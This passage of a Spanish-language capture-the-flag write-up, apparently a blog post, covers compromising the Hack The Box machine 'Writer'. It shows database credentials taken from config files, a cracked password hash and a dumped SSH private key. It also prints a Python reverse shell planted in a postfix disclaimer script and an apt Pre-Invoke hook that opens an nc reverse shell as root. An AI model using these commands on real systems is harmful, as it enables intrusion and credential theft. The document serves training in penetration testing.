                "Couldn't import Django. Are you sure it's installed and "
                "available on your PYTHONPATH environment variable? Did you "
                "forget to activate a virtual environment?"
            )
        raise
    execute_from_command_line(sys.argv)
www-data@writer:/var/www/writer2_project/writerv2$ cd writerv2
www-data@writer:/var/www/writer2_project/writerv2$ cat settings.py
[... REDACTED ...]


# Database
# https://docs.djangoproject.com/en/1.10/ref/settings/#databases

DATABASES = {
    'default': {
        'ENGINE': 'django.db.backends.mysql',
        'OPTIONS': {
            'read_default_file': '/etc/mysql/my.cnf',
        },
    }
}


[... REDACTED ...]
www-data@writer:/var/www/writer2_project/writerv2$ cat /etc/mysql/my.cnf|grep -v "#"
[client-server]

!includedir /etc/mysql/conf.d/
!includedir /etc/mysql/mariadb.conf.d/

[client]
database = dev
user = djangouser
password = DjangoSuperPassword
default-character-set = utf8
www-data@writer:/var/www/writer2_project/writerv2$

Al ingresar con las credenciales con mysql encontramos la contraseña encriptada del usuario kyle.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
www-data@writer:/var/www/writer2_project$ mysql -u djangouser -p
Password: DjangoSuperPassword

Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A

Welcome to the MariaDB monitor.  Commands end with ; or \g.
Your MariaDB connection id is 143
Server version: 10.3.29-MariaDB-0ubuntu0.20.04.1 Ubuntu 20.04

Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others.

Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.

MariaDB [dev]> show databases;
+--------------------+
| Database           |
+--------------------+
| dev                |
| information_schema |
+--------------------+
2 rows in set (0.000 sec)

MariaDB [dev]> show tables;
+----------------------------+
| Tables_in_dev              |
+----------------------------+
| auth_group                 |
| auth_group_permissions     |
| auth_permission            |
| auth_user                  |
| auth_user_groups           |
| auth_user_user_permissions |
| django_admin_log           |
| django_content_type        |
| django_migrations          |
| django_session             |
+----------------------------+
10 rows in set (0.000 sec)

MariaDB [dev]> describe auth_user;
+--------------+--------------+------+-----+---------+----------------+
| Field        | Type         | Null | Key | Default | Extra          |
+--------------+--------------+------+-----+---------+----------------+
| id           | int(11)      | NO   | PRI | NULL    | auto_increment |
| password     | varchar(128) | NO   |     | NULL    |                |
| last_login   | datetime(6)  | YES  |     | NULL    |                |
| is_superuser | tinyint(1)   | NO   |     | NULL    |                |
| username     | varchar(150) | NO   | UNI | NULL    |                |
| first_name   | varchar(150) | NO   |     | NULL    |                |
| last_name    | varchar(150) | NO   |     | NULL    |                |
| email        | varchar(254) | NO   |     | NULL    |                |
| is_staff     | tinyint(1)   | NO   |     | NULL    |                |
| is_active    | tinyint(1)   | NO   |     | NULL    |                |
| date_joined  | datetime(6)  | NO   |     | NULL    |                |
+--------------+--------------+------+-----+---------+----------------+
11 rows in set (0.001 sec)

MariaDB [dev]> select id, password, username, email, is_staff from auth_user;
+----+------------------------------------------------------------------------------------------+----------+-----------------+----------+
| id | password                                                                                 | username | email           | is_staff |
+----+------------------------------------------------------------------------------------------+----------+-----------------+----------+
|  1 | pbkdf2_sha256$260000$wJO3ztk0fOlcbssnS1wJPD$bbTyCB8dYWMGYlz4dSArozTY7wcZCS7DV6l5dpuXM4A= | kyle     | kyle@writer.htb |        1 |
+----+------------------------------------------------------------------------------------------+----------+-----------------+----------+
1 row in set (0.000 sec)

MariaDB [dev]>

Cracking Hash

El hash muestra pbkdf2_sha256, segun los ejemplos de hashcat muestran que el modo para este hash es 10000. Utilizamos hashcat -m 10000 hash_kyle /usr/share/wordlists/rockyou.txt.

1
pbkdf2_sha256$260000$wJO3ztk0fOlcbssnS1wJPD$bbTyCB8dYWMGYlz4dSArozTY7wcZCS7DV6l5dpuXM4A=:marcoantonio

User - Kyle

Con la contraseña encontrada ingresamos por SSH, obteniendo la primera flag user.txt.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
 π ~/htb/writer ❯ ssh kyle@writer.htb # marcoantonio
kyle@writer.htb's password:
Welcome to Ubuntu 20.04.2 LTS (GNU/Linux 5.4.0-80-generic x86_64)

[... ... ]
kyle@writer:~$ whoami; pwd
kyle
/home/kyle
kyle@writer:~$ ls
user.txt
kyle@writer:~$ cat user.txt
86ac6aa69aa67b492caec63ba8e96fc8
kyle@writer:~$

Postfish

Vemos que kyle pertenece al grupo filter, tras realizar una busqueda con este grupo vemos postfix (un servidor de correo), tambien en los puertos locales esta abierto el puerto 25 (smtp).

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
kyle@writer:~$ id
uid=1000(kyle) gid=1000(kyle) groups=1000(kyle),997(filter),1002(smbgroup)
kyle@writer:~$ find / -group filter 2>/dev/null
/etc/postfix/disclaimer
/var/spool/filter
kyle@writer:~$ netstat -ntpl
(Not all processes could be identified, non-owned process info
 will not be shown, you would have to be root to see it all.)
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address           Foreign Address         State       PID/Program name
tcp        0      0 127.0.0.1:3306          0.0.0.0:*               LISTEN      -
tcp        0      0 0.0.0.0:139             0.0.0.0:*               LISTEN      -
tcp        0      0 127.0.0.1:8080          0.0.0.0:*               LISTEN      -
tcp        0      0 127.0.0.53:53           0.0.0.0:*               LISTEN      -
tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN      -
tcp        0      0 127.0.0.1:25            0.0.0.0:*               LISTEN      -
tcp        0      0 0.0.0.0:445             0.0.0.0:*               LISTEN      -
tcp6       0      0 :::139                  :::*                    LISTEN      -
tcp6       0      0 :::80                   :::*                    LISTEN      -
tcp6       0      0 :::22                   :::*                    LISTEN      -
tcp6       0      0 :::445                  :::*                    LISTEN      -
kyle@writer:~$

Encontramos tambien que es posible ejecutar comandos tras agregar un comando en el archivo /etc/postfix/disclaimer y vemos los correos en “disponibles” de root y kyle.

1
2
3
kyle@writer:~$ cat /etc/postfix/disclaimer_addresses
root@writer.htb
kyle@writer.htb

User - John

Editamos el archivo /etc/postfix/disclaimer agregando una shell inversa en python.

1
python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.10.10",1339));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

Enviamos un correo a root a traves de netcat en el puerto 25.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
kyle@writer:~$ nc -v 127.0.0.1 25
Connection to 127.0.0.1 25 port [tcp/smtp] succeeded!
220 writer.htb ESMTP Postfix (Ubuntu)
MAIL FROM: kyle@writer.htb
250 2.1.0 Ok
RCPT TO: root@writer.htb
250 2.1.5 Ok
DATA
354 End data with <CR><LF>.<CR><LF>
Hello

.
250 2.0.0 Ok: queued as 37D897EC
QUIT
221 2.0.0 Bye

kyle@writer:~$

Finalmente pusimos a la escucha netcat donde logramos obtener una shell con el usuario john, que luego actualizamos por una shell SSH utilizando su clave privada.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
 π ~/htb/writer ❯ rlwrap nc -lvp 1339
listening on [any] 1339 ...
connect to [10.10.10.10] from writer.htb [10.10.11.101] 38884
/bin/sh: 0: can't access tty; job control turned off
$ python3 -c 'import pty;pty.spawn("/bin/bash");'
john@writer:/var/spool/postfix$ whoami;pwd;id
john
/var/spool/postfix
uid=1001(john) gid=1001(john) groups=1001(john)
john@writer:/var/spool/postfix$ cd
bash: cd: HOME not set
john@writer:/var/spool/postfix$ cd /home/john
john@writer:/home/john$ ls -lah
total 28K
drwxr-xr-x 4 john john 4.0K Aug  5 09:56 .
drwxr-xr-x 4 root root 4.0K Jul  9 10:59 ..
lrwxrwxrwx 1 root root    9 May 19 22:20 .bash_history -> /dev/null
-rw-r--r-- 1 john john  220 May 14 18:19 .bash_logout
-rw-r--r-- 1 john john 3.7K May 14 18:19 .bashrc
drwx------ 2 john john 4.0K Jul 28 09:19 .cache
-rw-r--r-- 1 john john  807 May 14 18:19 .profile
drwx------ 2 john john 4.0K Jul  9 12:29 .ssh
john@writer:/home/john$ cd .ssh
john@writer:/home/john/.ssh$ ls -lah
total 20K
drwx------ 2 john john 4.0K Jul  9 12:29 .
drwxr-xr-x 4 john john 4.0K Aug  5 09:56 ..
-rw-r--r-- 1 john john  565 Jul  9 12:29 authorized_keys
-rw------- 1 john john 2.6K Jul  9 12:29 id_rsa
-rw-r--r-- 1 john john  565 Jul  9 12:29 id_rsa.pub
john@writer:/home/john/.ssh$ cat id_rsa
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABlwAAAAdzc2gtcn
NhAAAAAwEAAQAAAYEAxqOWLbG36VBpFEz2ENaw0DfwMRLJdD3QpaIApp27SvktsWY3hOJz
wC4+LHoqnJpIdi/qLDnTx5v8vB67K04f+4FJl2fYVSwwMIrfc/+CHxcTrrw+uIRVIiUuKF
[.. snip ..]
Vikbn3mEwRCjFa5XcRP9VX8nhwVoRGuf8QmD0beSm8WUb8wKBVkmNoPZNGNJb0xvSmFEJ/
BwT0yAhKXBsBk18mx8roPS+wd9MTZ7XAUX6F2mZ9T12aIYQCajbzpd+fJ/N64NhIxRh54f
Nwy7uLkQ0cIY6XAAAAC2pvaG5Ad3JpdGVyAQIDBAUGBw==
-----END OPENSSH PRIVATE KEY-----
john@writer:/home/john/.ssh$

Privesc

Tras obtener una shell más comoda por SSH, observamos que el usuario John pertenece al grupo management, encontramos que la carpeta apt.conf.d pertenece al mismo grupo, dicha carpeta contiene distintos archivos de instrucciones para la configuracion de APT. A pesar de tener acceso a la carpeta mencionada no se tienen permisos para ejecutar apt como root.

1
2
3
4
5
john@writer:~$ id
uid=1001(john) gid=1001(john) groups=1001(john),1003(management)
john@writer:~$ find / -group management 2>/dev/null
/etc/apt/apt.conf.d
john@writer:~$

Tras la ejecucion de pspy encontramos que existe un cronjob que ejecuta multiples comandos, entre ellos se destacan, el comando find que busca archivos en la carpeta apt.conf.d/ que fueron creados o modificados en las ultimas 24 horas que finalmente son borrados, y, tambien apt-get update, los demás comandos realizan un “backup” de archivos de configuracion y otro, la ejecucion de la aplicacion Django.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
2021/09/16 22:40:01 CMD: UID=0    PID=19835  | /usr/sbin/CRON -f
2021/09/16 22:40:01 CMD: UID=0    PID=19834  |
2021/09/16 22:40:01 CMD: UID=0    PID=19838  | /usr/sbin/CRON -f
2021/09/16 22:40:01 CMD: UID=0    PID=19840  | /bin/sh -c /usr/bin/cp -r /root/.scripts/writer2_project /var/www/
2021/09/16 22:40:01 CMD: UID=0    PID=19839  | /bin/sh -c /usr/bin/cp /root/.scripts/master.cf /etc/postfix/master.cf
2021/09/16 22:40:01 CMD: UID=0    PID=19841  | /bin/sh -c /usr/bin/find /etc/apt/apt.conf.d/ -mtime -1 -exec rm {} \;
2021/09/16 22:40:01 CMD: UID=0    PID=19842  | /bin/sh -c /usr/bin/cp /root/.scripts/disclaimer /etc/postfix/disclaimer
2021/09/16 22:40:01 CMD: UID=0    PID=19843  | /usr/bin/find /etc/apt/apt.conf.d/ -mtime -1 -exec rm {} ;
2021/09/16 22:40:01 CMD: UID=0    PID=19844  | /bin/sh -c /usr/bin/apt-get update
2021/09/16 22:40:01 CMD: UID=0    PID=19845  | /usr/bin/dpkg --print-foreign-architectures
2021/09/16 22:40:02 CMD: UID=33   PID=19847  | python3 manage.py runserver 127.0.0.1:8080
2021/09/16 22:40:02 CMD: UID=0    PID=19850  | /usr/bin/apt-get update

Sabemos que apt-get update es ejecutado por el usuario root y además tenemos acceso a la carpeta de configuracion de apt.

  • Creamos un archivo de configuracion (nombre del archivo: sckull) que contiene la ejecucion de una shell inversa.
  • Para poder “saltar” el comando (que borra archivos) utilizamos touch para crear un archivo con fecha 1980 que ayudará a darle la misma fecha al archivo de configuracion (sckull), si vemos el archivo de configuracion (sckull) tiene una fecha antigua.
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
john@writer:/etc/apt/apt.conf.d$ echo 'apt::Update::Pre-Invoke {"rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.10.10 1333 >/tmp/f"};' > sckull
john@writer:/etc/apt/apt.conf.d$ touch -t 8001031305 old
john@writer:/etc/apt/apt.conf.d$ touch -r old sckull
john@writer:/etc/apt/apt.conf.d$ ls -lah
total 52K
drwxrwxr-x 2 root management 4.0K Sep 16 21:22 .
drwxr-xr-x 7 root root       4.0K Jul  9 10:59 ..
-rw-r--r-- 1 root root        630 Apr  9  2020 01autoremove
-rw-r--r-- 1 root root         92 Apr  9  2020 01-vendor-ubuntu
-rw-r--r-- 1 root root        129 Dec  4  2020 10periodic
-rw-r--r-- 1 root root        108 Dec  4  2020 15update-stam
-rw-r--r-- 1 root root         85 Dec  4  2020 20archive
-rw-r--r-- 1 root root       1.1K Sep 23  2020 20packagekit
-rw-r--r-- 1 root root        114 Nov 19  2020 20snapd.conf
-rw-r--r-- 1 root root        625 Oct  7  2019 50command-not-found
-rw-r--r-- 1 root root        182 Aug  3  2019 70debconf
-rw-r--r-- 1 root root        305 Dec  4  2020 99update-notifier
-rw-rw-r-- 1 john john          0 Jan  3  1980 old
-rw-rw-r-- 1 john john        108 Jan  3  1980 sckull
john@writer:/etc/apt/apt.conf.d$

Despues de esperar algunos segundos el archivo es ejecutado, obtuvimos una shell como usuario root, y, acceder a la flag root.txt.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
 π ~/htb/writer ❯ nc -lvp 1333
listening on [any] 1333 ...
connect to [10.10.10.10] from writer.htb [10.10.11.101] 59774
/bin/sh: 0: can't access tty; job control turned off
# python3 -c 'import pty; pty.spawn("/bin/bash");'
root@writer:/tmp# whoami; id
whoami; id
root
uid=0(root) gid=0(root) groups=0(root)
root@writer:/tmp# cd /root
cd /root
root@writer:~# ls
ls
root.txt  snap
root@writer:~# cat root.txt
cat root.txt
fafd460dab76a4e56bb7534110fada9f
root@writer:~#
```
Share on

Dany Sucuc
WRITTEN BY
sckull
RedTeamer & Pentester wannabe